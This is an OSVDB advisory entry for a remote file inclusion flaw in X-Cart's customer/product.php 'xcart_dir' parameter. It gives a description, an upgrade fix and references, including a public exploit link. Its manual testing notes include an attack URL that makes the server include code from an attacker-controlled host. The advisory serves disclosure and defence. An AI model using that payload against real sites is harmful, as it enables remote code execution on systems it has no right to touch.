X-Cart customer/product.php xcart_dir Variable Remote File Inclusion

2007-09-11T00:00:00
ID OSVDB:38975
Type osvdb
Reporter aLiiF(aliif@debuteam.net)
Modified 2007-09-11T00:00:00

Description

Vulnerability Description

X-Cart contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to product.php not properly sanitizing user input supplied to the 'xcart_dir' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.

Solution Description

Upgrade to version 4.1.8 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

Short Description

X-Cart 3.5.0 product.php xcart_dir Variable Remote File Inclusion

Manual Testing Notes

http://[target]/[xcart-path]/customer/product.php?xcart_dir=http://[attacker]/[inject]?

References:

Related OSVDB ID: 38972 Related OSVDB ID: 38973 Related OSVDB ID: 38974 Related OSVDB ID: 38976 Related OSVDB ID: 38977 ISS X-Force ID: 36574 Generic Exploit URL: http://www.milw0rm.com/exploits/4396 CVE-2007-4907 Bugtraq ID: 25637